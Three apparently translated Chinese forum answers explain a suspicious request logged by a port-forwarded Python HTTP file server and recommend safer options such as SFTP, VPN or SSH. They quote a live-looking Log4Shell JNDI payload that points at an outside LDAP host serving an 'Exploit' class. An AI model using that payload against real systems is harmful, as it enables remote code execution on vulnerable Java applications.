答案1
取决于您托管的文件以及您当前使用的身份验证、授权或一般防御机制(据我所知可能没有)。如果文件很敏感,那么仅使用简单的 HTTP 服务器为它们提供服务而不进行任何身份验证/保护可能不是最好的主意。
关于jndi
您看到的日志:
GET /${jndi:ldap://185.246.87.50:1389/Exploit}
据我所知,您看到的请求是下载恶意 Java 类的漏洞请求。- 这是目前发现的一种相当新的漏洞利用方法。主要针对应用程序的日志记录机制。
- 这是由于 Java 库(log4j)被利用进行 RCE(远程代码执行)或修补版本 DOS(拒绝服务)造成的。
- 由于 Python Simple HTTP Server 仅基于 Python 代码运行(就我所知),因此您无需担心。(除非您还使用不同的应用程序或方法记录 HTTP 请求。)
- CVE-2021-45046 和 CVE-2021-45105 如果您想了解更多信息,请谷歌搜索。
我的忠告是:
- 由于您目前正在网络上进行端口转发,因此您可以简单地使用 SFTP(安全 FTP)服务来满足您的文件需求。或者只需使用 SCP。
- 使用 DMZ 会对您有好处。什么是 DMZ?
- 如果您在互联网上提供任何服务(无论您使用什么服务或端口),您都会被检测和扫描。如果您对此有所准备(更新、了解暴露的内容、版本等),则无需担心。
- 大规模扫描总是会发生。(主要是当新的漏洞被公开披露时。)您可以使用不同的方法来防止这种情况。WAF(Web 应用程序防火墙)等。请注意,在大多数情况下可以绕过 WAF。
我会做什么?
- 我并不喜欢为了个人需要而全天候运行 HTTP 服务器。如果符合您的需求,我只会使用 SFTP 服务器或云。为您提供有关 FTP 和 SFTP 的简要信息。
答案2
我正在运行 python3 -m http.server 8080 以及端口转发,以便从任何地方访问我的笔记本电脑上的文件。
这可能意味着其他人也有权访问这些文件...所以我希望其中没有任何你不想让其他人阅读的内容。
但出现了随机连接和一条特别奇怪的行:GET /${jndi:ldap://185.246.87.50:1389/Exploit}。
奇怪的行意味着人们正在扫描 log4j 漏洞(google),但由于您使用的是 Python 服务器而不是 Java,因此不必担心这一点。(但是其他随机连接应该担心)。
如果没有,那么有什么方法可以确保安全吗?也许像登录密码之类的东西?
如果您不知道如何确保安全(如果您不知道自己在做什么,按照在互联网上找到的随机方法永远无法确保安全),并且如果您需要确保安全,我建议您立即将服务器离线。相反,开始使用其他东西(例如 VPN 或ssh
)。
答案3
我正在运行
python3 -m http.server 8080
端口转发,以便从任何地方访问我的笔记本电脑上的文件。
这可以粗略地翻译为:
我正在我的笔记本电脑的虚拟安全墙上撕开一个大洞。
在公共的知名/常用端口上运行完全没有保护的服务器是一个糟糕的想法。如果您确实需要让您的文件可以这样访问,那么您应该在随机端口上运行它,该端口不像 8080 那样常用。但是(正如其他人已经说过的)最好使用安全的文件共享服务,如 Dropbox、Google Drive 等,或者如果您想自己托管它,请使用 SFTP 之类的服务或自托管文件共享服务,如 NextCloud、OpenNAS 或 TrueNAS。我不太喜欢那种 NAS 东西,所以你应该自己做一些研究。